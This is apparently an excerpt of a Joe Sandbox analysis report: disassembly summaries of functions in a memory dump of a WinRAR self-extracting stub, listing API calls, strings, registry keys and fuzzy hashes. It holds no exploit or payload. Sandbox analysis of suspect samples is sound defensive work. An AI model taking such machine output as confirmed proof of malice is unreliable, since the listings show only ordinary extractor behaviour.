OleInitialize.OLE32(00000000), ref: 00DDD183
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00DDD1B5
SHGetMalloc.SHELL32(00E097DC), ref: 00DDD1C0

Strings

0:.uPou, xrefs: 00DDD183
riched20.dll, xrefs: 00DDD175
3Ro, xrefs: 00DDD19B

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: DirectoryGdiplusH_prolog3_InitializeLibraryLoadMallocStartupSystem
String ID: 0:.uPou$riched20.dll$3Ro
API String ID: 3036933512-741537531
Opcode ID: f1f67f03a702f93cf8a29eb73aedf36030b19857dfa0dcee41b4d519f0e0a219
Instruction ID: ceb7f6a2eca739527aa98f72b9a59d3a13122838b1174034e07a99df1f54b04a
Opcode Fuzzy Hash: f1f67f03a702f93cf8a29eb73aedf36030b19857dfa0dcee41b4d519f0e0a219
Instruction Fuzzy Hash: 01F0F4B5A44209AFCB00AFA5EC49B9E7BB8EB08305F044065F545F22D1DA7455488BA1

Function 00DCE450 Relevance: 9.1, APIs: 6, Instructions: 119
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 00DCE45A
CreateFileW.KERNEL32(00000000,?,?,00000000,00000003,08000000,00000000,0000008C,00DCA6BA,?,00000005,?,00000011,?,?,00000000), ref: 00DCE4DB
GetLastError.KERNEL32(?,00000005,?,00000011,?,?,00000000,?,00000000,000001A0,00DCB025,00000000,STM), ref: 00DCE4EC
CreateFileW.KERNEL32(00000000,?,?,00000000,00000003,08000000,00000000,?,00000005,?,00000011,?,?,00000000,?,00000000), ref: 00DCE52C
GetLastError.KERNEL32(?,00000005,?,00000011,?,?,00000000,?,00000000,000001A0,00DCB025,00000000,STM), ref: 00DCE538
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,00000005,?,00000011,?,?,00000000,?,00000000,000001A0,00DCB025,00000000), ref: 00DCE59D

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: File$CreateErrorLast$H_prolog3_Time
String ID:
API String ID: 1355031880-0
Opcode ID: 2f149c5311fb070cd48af2e5b70140686118bcb74434aa708c1be018cf61e68f
Instruction ID: a5c03ec0e849264c737d8e6169b8f5180a990ed628d2786397081d2e346ba7cb
Opcode Fuzzy Hash: 2f149c5311fb070cd48af2e5b70140686118bcb74434aa708c1be018cf61e68f
Instruction Fuzzy Hash: 7B4191B081071A9FEB24DB70CC45FA9B774BB05328F184288E959A72C2DB749E85CF74

Function 00DE1349 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 00DE1350
RegCreateKeyExW.KERNEL32(80000001,Software\WinRAR SFX,00000000,00000000,00000000,00020006,00000000,?,?,00000024,00DDEF96), ref: 00DE13A6
RegSetValueExW.KERNEL32(?,00000000,00000000,00000001,00000000), ref: 00DE13D4
RegCloseKey.KERNEL32(?), ref: 00DE13DD

Strings

Software\WinRAR SFX, xrefs: 00DE139C

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: CloseCreateH_prolog3_Value
String ID: Software\WinRAR SFX
API String ID: 2907678286-754673328
Opcode ID: 253b53e7b7195ba8107b24b7ed248d64f1e7b5037849dd0133bebf8e8b4d5c72
Instruction ID: 836ea696cc18b2d36969538c96d5a7e657cfd94b8fa6735cb9c1864a0c82c562
Opcode Fuzzy Hash: 253b53e7b7195ba8107b24b7ed248d64f1e7b5037849dd0133bebf8e8b4d5c72
Instruction Fuzzy Hash: AB01C479A00344AADF21BBA2DC8AFFE7779FB89700F44401CF602B31D2DA600949C630

Function 00DDEA58 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 00DDEA5F
SetEnvironmentVariableW.KERNEL32(sfxcmd,00000000,00000024,00DDE80B), ref: 00DDEA71
SetEnvironmentVariableW.KERNEL32(sfxpar,00000000,?,?,00000000,?), ref: 00DDEAC1

Strings

sfxcmd, xrefs: 00DDEA6C
sfxpar, xrefs: 00DDEABC

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: EnvironmentVariable$H_prolog3_
String ID: sfxcmd$sfxpar
API String ID: 3605364767-3493335439
Opcode ID: 7771fc100dabc543b39a214ffdf93bff9a4124caee4490e2a55a4f3b1bc5ddf2
Instruction ID: 2428b57941af39d9074e291cdb36867bda8332959eb709412f7f122a6bdc84b9
Opcode Fuzzy Hash: 7771fc100dabc543b39a214ffdf93bff9a4124caee4490e2a55a4f3b1bc5ddf2
Instruction Fuzzy Hash: 39F0A93060075A9ACF08F7B0DD56EBC7379EF44B01F04800EF101AB292CF640A058672

Function 00DEF6A3 Relevance: 7.7, APIs: 5, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__alloca_probe_16.LIBCMT ref: 00DEF728
__alloca_probe_16.LIBCMT ref: 00DEF7F1
__freea.LIBCMT ref: 00DEF858

Part of subcall function 00DEE234: RtlAllocateHeap.NTDLL(00000000,00DE24EE,?,?,00DE3E9F,?,?,?,?,?,00DE23FB,00DE24EE,?,?,?,?), ref: 00DEE266

__freea.LIBCMT ref: 00DEF86B
__freea.LIBCMT ref: 00DEF878

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 111cdcc4006098c17b788b55de4fa631682164e86957c1129bed32eec4a78d68
Instruction ID: f68509d46046e4e578e17c979175dd86f42f7a5768781071e811ef6ac049ef5d
Opcode Fuzzy Hash: 111cdcc4006098c17b788b55de4fa631682164e86957c1129bed32eec4a78d68
Instruction Fuzzy Hash: D25191B260028AAFEB217F628C85EBB36A9EF44750F5A4139FD48DA151EB31DC10D670

Function 00DDD728 Relevance: 7.6, APIs: 5, Instructions: 89
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 00DDD72F
RegOpenKeyExW.KERNEL32(?,00000000,00000000,00000001,?,00000020), ref: 00DDD748
RegQueryValueExW.KERNEL32(?,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000001,?,00000020), ref: 00DDD769
RegQueryValueExW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,00000000,00000000,00000001,?,00000020), ref: 00DDD7D2
RegCloseKey.KERNEL32(?,?,00000000,00000000,00000001,?,00000020), ref: 00DDD80E

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: QueryValue$CloseH_prolog3Open
String ID:
API String ID: 1213317842-0
Opcode ID: e8aa53371961a8ab01c4c6d2e1072edbc8050e31b773a63fb9ad28e2f3667e09
Instruction ID: 143b0c3f302e957305f442f94315aaf5ac2d422a3855b3486005d78d83466feb
Opcode Fuzzy Hash: e8aa53371961a8ab01c4c6d2e1072edbc8050e31b773a63fb9ad28e2f3667e09
Instruction Fuzzy Hash: CC312E79E0020AAEDF04EFB5C896EFE7779EF59340B108119F511A7291EA309E058B30

Function 00DDD2BD Relevance: 7.5, APIs: 5, Instructions: 38windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00DDD2CE
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00DDD2DF
IsDialogMessageW.USER32(000204C2,?), ref: 00DDD2F3
TranslateMessage.USER32(?), ref: 00DDD301
DispatchMessageW.USER32(?), ref: 00DDD30B

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: 061b96b3a16813d079fe18d5f9b9820a6268cbd602c88c7a070cd5c7ba669b57
Instruction ID: 337cdbd15d30fa3622225cb71b2072c6984a1b64ddb58e7093ede8f6834048b0
Opcode Fuzzy Hash: 061b96b3a16813d079fe18d5f9b9820a6268cbd602c88c7a070cd5c7ba669b57
Instruction Fuzzy Hash: C6F0B7B2A0212AAFCF20AFE3EC4CDDB7FACEF063907048415B515E2251E624D509CBB1

Function 00DDC5EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000050), ref: 00DDC60E
SHAutoComplete.SHLWAPI(?,00000010), ref: 00DDC645

Part of subcall function 00DD84BA: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,Function_000184BA,00DD0C5F,00000001,00000000,?,00000001,00DD0F1C,00000044,00DCBDF8), ref: 00DD84CA

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00DDC635

Strings

EDIT, xrefs: 00DDC619, 00DDC631

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: 27caadf74beedaab70d827c4902066ab5d66f47ef43e3be6bb9e53b7fecdf9e3
Instruction ID: 35f52eba3fd8c1bf1e3e3211335b1d743468e2afe16ea28a306922c9cdd75e0e
Opcode Fuzzy Hash: 27caadf74beedaab70d827c4902066ab5d66f47ef43e3be6bb9e53b7fecdf9e3
Instruction Fuzzy Hash: 26F0C234B01214ABE7209B269D0AFAE77AC9F89700F044066A901B73C0DFB0AD0585BA

Function 00DE7522 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00DE74D3,00000000,?,00E09120,?,?,?,00DE7676,00000004,InitializeCriticalSectionEx,00DFC504,InitializeCriticalSectionEx), ref: 00DE752F
GetLastError.KERNEL32(?,00DE74D3,00000000,?,00E09120,?,?,?,00DE7676,00000004,InitializeCriticalSectionEx,00DFC504,InitializeCriticalSectionEx,00000000,?,00DE742D), ref: 00DE7539
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00DE7561

Strings

api-ms-, xrefs: 00DE7546

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: a2754c0dd79b572b277c1c0e0872839b0354b4b185cfa6a1b5cc7397802b4054
Instruction ID: 9e54685637ed5d6615cf64cada9214f3202706aef8ceffc5abf886fccaea4c39
Opcode Fuzzy Hash: a2754c0dd79b572b277c1c0e0872839b0354b4b185cfa6a1b5cc7397802b4054
Instruction Fuzzy Hash: F4E04830684349FBDF102FA1DC06B2D3A54AB00BA1F588021F95CE81E0DB61E910C6B5

Function 00DCEFB4 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00DCEFBB
CreateDirectoryW.KERNEL32(00000000,00000000,00000020,00DCF138,00000000), ref: 00DCEFE0
CreateDirectoryW.KERNEL32(00000000,00000000,00000020,00DCF138,00000000), ref: 00DCF020
GetLastError.KERNEL32(00000020,00DCF138,00000000), ref: 00DCF04A

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: CreateDirectory$ErrorH_prolog3_Last
String ID:
API String ID: 3709856315-0
Opcode ID: f377b16483b4aa9deb3f6ce0eae04aeb3eb36a42481975c4679ff636275db03d
Instruction ID: a320050eee9f12b75920c17d4bcfc9ed647f3502b5c7efc7aa5222ed3bcc9abe
Opcode Fuzzy Hash: f377b16483b4aa9deb3f6ce0eae04aeb3eb36a42481975c4679ff636275db03d
Instruction Fuzzy Hash: 1711063A60031647DF14A7708866FFDA762DF55B50F28842DF852E72C3EF3489059171

Function 00DCEA9D Relevance: 6.1, APIs: 4, Instructions: 56fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6,?,00000000,?,?,00DCE969,?,?), ref: 00DCEAAD
ReadFile.KERNEL32(?,?,?,00000000,00000000,?,00000000,?,?,00DCE969,?,?), ref: 00DCEAC5
GetLastError.KERNEL32(?,00DCE969,?,?,?,?,?,?,?,?,?,?,?,00DF9224,000000FF), ref: 00DCEAF7
GetLastError.KERNEL32(?,00DCE969,?,?,?,?,?,?,?,?,?,?,?,00DF9224,000000FF), ref: 00DCEB16

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: a374e7c2c40b164c4a7ed001e1f31a211b57fbf9999b6616b13f31f3fe5bb6be
Instruction ID: 359ef31b0e4989cb1bfc901f9815b243d55c6fbe46fad795b4e40f0d5f9794b8
Opcode Fuzzy Hash: a374e7c2c40b164c4a7ed001e1f31a211b57fbf9999b6616b13f31f3fe5bb6be
Instruction Fuzzy Hash: 581148B190060AEBDB319B60D804F7A77AABB05361B14862EF866C7690DB70ED40CB71

Function 00DD319B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00DD28DD,00DDE8CE), ref: 00DD319D
FindResourceW.KERNEL32(00000000,RTL,00000005), ref: 00DD31AB

Strings

RTL, xrefs: 00DD31A5

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: af7ecfcc2dfeeeca68844f74ed4370bc3f247fa56ccb144c0aad4b5efeae7b19
Instruction ID: 5c71022f4aec63e3a37426dfe741ee070ef0413cda6f3732dfdf16ecdabc7415
Opcode Fuzzy Hash: af7ecfcc2dfeeeca68844f74ed4370bc3f247fa56ccb144c0aad4b5efeae7b19
Instruction Fuzzy Hash: 1CC04C30345741AAEA205B729C0DB563968AB03B56F44C085B156EA7D1EBA5D144CB36

Function 00DD6D27 Relevance: 4.6, APIs: 3, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00DD6D2E
GetSystemDirectoryW.KERNEL32(00000000), ref: 00DD6D59

Part of subcall function 00DD0D19: __EH_prolog3_GS.LIBCMT ref: 00DD0D20

LoadLibraryW.KERNEL32(00000000,00DD4B85,?,00000104,?,0000005C,00DD4B85,00000000,00DD4D83,00000000,?,?,?,?,00DD4C55,?), ref: 00DD6DB9

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: H_prolog3_$DirectoryLibraryLoadSystem
String ID:
API String ID: 4248954170-0
Opcode ID: 5407a6a63c051bfc3b12bcc2113cdc1cf0b01cb1e9ac0042393a8d6cd2621992
Instruction ID: 5591ec498f1b0b5f5fdd650638df932cccaca54ed2bfab164a20413f68a6e3b4
Opcode Fuzzy Hash: 5407a6a63c051bfc3b12bcc2113cdc1cf0b01cb1e9ac0042393a8d6cd2621992
Instruction Fuzzy Hash: 2F11E978C002199ADB04EBE0D856FEDB778EF16700F50815DE412A7296EF746A0ACA71

Function 00DCF2F2 Relevance: 4.5, APIs: 3, Instructions: 28COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00DCF2F9
GetFileAttributesW.KERNEL32(00000000,0000001C,00DCF2CA,?,00DCA3FB), ref: 00DCF306

Part of subcall function 00DD1520: __EH_prolog3_GS.LIBCMT ref: 00DD1527

GetFileAttributesW.KERNEL32(00000000), ref: 00DCF336

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AttributesFileH_prolog3_
String ID:
API String ID: 2428883790-0
Opcode ID: 52f2da4b75983b6a80762d6d86086667cb3efd67a620752fe6cbffec8e663d32
Instruction ID: 755b22d11233adc0367d8c32440736fdc09dae3594a93dd8693eeb7a45f45be9
Opcode Fuzzy Hash: 52f2da4b75983b6a80762d6d86086667cb3efd67a620752fe6cbffec8e663d32
Instruction Fuzzy Hash: D3F08C3A90025597CB10BBB0C856AECB736EF15330F494269E911B72D2DF344D4A9675

Function 00DECBFE Relevance: 4.5, APIs: 3, Instructions: 15COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,00DECBF8,00000016,00DE7832,?,?,381977BE,00DE7832,?), ref: 00DECC0F
TerminateProcess.KERNEL32(00000000,?,00DECBF8,00000016,00DE7832,?,?,381977BE,00DE7832,?), ref: 00DECC16
ExitProcess.KERNEL32 ref: 00DECC28

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: a45702e4a67e26d3e6eabc3c763f120aa5cddc0218803abdca714d18bd3f7d29
Instruction ID: 6b113ede0c2251ac40c12442deaea794deb63c8e88e7217f86fff1400116e8b1
Opcode Fuzzy Hash: a45702e4a67e26d3e6eabc3c763f120aa5cddc0218803abdca714d18bd3f7d29
Instruction Fuzzy Hash: 7AD06731010348ABCB153F62DD099AA3F2AEE45351B549011B91D85172DF319997DAB0

Function 00DDBB03 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00DDBB0A

Part of subcall function 00DDB49D: CLSIDFromString.COMBASE(Shell.Explorer,?), ref: 00DDB4BA
Part of subcall function 00DDB49D: CoCreateInstance.COMBASE(?,00000000,00000005,00DFB77C,?), ref: 00DDB4D1

Strings

about:blank, xrefs: 00DDBC04

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: CreateFromH_prolog3InstanceString
String ID: about:blank
API String ID: 1164031602-258612819
Opcode ID: 2e54f88aef7098843a83ccb7ca1c1546d89be716c28100b764a670b5e18a54b9
Instruction ID: 0972e7c661b1deb16fb916e17b8f7c19df1f7d618564b8544850a09c43bf5622
Opcode Fuzzy Hash: 2e54f88aef7098843a83ccb7ca1c1546d89be716c28100b764a670b5e18a54b9
Instruction Fuzzy Hash: D6315E70610205DFDB08EF68D855A7E77A9EF88324B15805FA805AB396DF74AD00CB74

Function 00DE13F1 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00DE13FB

Part of subcall function 00DDD728: __EH_prolog3.LIBCMT ref: 00DDD72F
Part of subcall function 00DDD728: RegOpenKeyExW.KERNEL32(?,00000000,00000000,00000001,?,00000020), ref: 00DDD748
